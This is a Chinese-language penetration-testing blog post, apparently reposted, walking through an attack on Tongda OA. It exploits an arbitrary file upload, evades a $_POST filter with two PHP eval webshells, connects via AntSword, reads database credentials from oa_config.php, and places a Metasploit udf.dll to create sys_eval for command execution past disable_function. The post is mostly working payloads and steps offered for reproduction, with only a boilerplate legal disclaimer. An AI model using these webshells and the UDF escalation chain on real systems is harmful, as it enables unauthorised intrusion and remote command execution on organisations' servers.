文章总结: 文章记录通达OA任意文件上传与disable_function双重绕过实战:先识别tongda-oa-action-upload-php-upload接口,利用无参RCE和extract变量覆盖避开对$_POST[‘x’]检测上传shell;再用蚁剑连数据库,按版本把udf.dll放入mysql/lib/plugin或系统目录,创建sys_eval函数执行命令,实现UDF提权,全程提供可复现代码与路径,解决传马后命令被禁痛点 综合评分: 82 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,漏洞POC
【案例】通达OA任意文件上传绕过+Udf绕过RCE的故事
原创
d0n9x1e
蝉SEC
2026年1月12日 17:38 日本
RCE过的朋友都知道,通达OA在传马之后,常常出现disable_function限制我们无法顺利命令执行的问题,今日分享主题:
1,通达OA任意文件上传的绕过方案
2,通达OA-RCE无法执行命令的解决
问题一:
通过扫描,发现该站点存在tongda-oa-action-upload-php-upload,随后,你像疯了一样进行验证,发现确实存在
聪明的你就想传木马了,于是你先传了一个system函数,想执行命令,但是,你发现了一个问题,没办法执行
随后,你从裤裆掏出你的eval函数,单独执行
你发现你的eval函数是可以执行的,你欣喜若狂,就当你上传木马的时候
现实再次给你当头一棒,无法上传
你本着遇到问题解决问题的想法,去尝试分析,是什么东西被过滤了,经过你的尝试,你发现了原来是对‘$_POST[‘x’]’格式进行检测
常规的加号无法绕过,这个时候,你想起了你曾经打CTF的时候学习的无参RCE和参数覆盖,随后你制作了如下木马,成功上传;
无参RCE在之前发过相关文章
<?php eval(reset(array_reverse(current(get_defined_vars()))));?>
变量覆盖如下:
<?php extract($_POST);eval($s);?>
这样我们就绕过了对$_POST[‘x’]格式的检测
使用蚁剑成功连接
到这里我们第一个问题解决了,大家有任何疑问可直接评论区留言!
问题二:
连接上之后,我们发现命令无法执行,还是disable_function搞的鬼
这里我们就介绍第二个思路
udf方式绕过disable_function
(1)获取udf.dll文件
直接使用metasploit里面的dll脚本
位置如下:
/usr/share/metasploit-framework/data/exploits/mysql
连接OA的数据库,数据库账号密码地址如下:
E:/MYOA/webroot/inc/oa_config.php
这里注意,无法进行端口转发,但蚁剑有数据库连接功能,这里使用蚁剑进行数据库连接
下面将我们刚刚的udf进行上传,这里有一点需要注意就是上传位置
如果版本号大于5.1.4 上传udf的位置应该放在 mysql\lib\plugin目录下
如果版本小于5.1 上传udf的位置应该放在c盘的windows或者windows32目录里
下面进行udf利用
create function sys_exec RETURNS int soname 'mysqludf.dll';create function sys_eval returns string soname 'mysqludf.dll';select sys_eval("whoami");
到这里利用了udf的方式绕过了其对disable_function的限制进行命令执行
欢迎大家一起指点讨论!!!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:蝉SEC d0n9x1e《【案例】通达OA任意文件上传绕过+Udf绕过RCE的故事》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论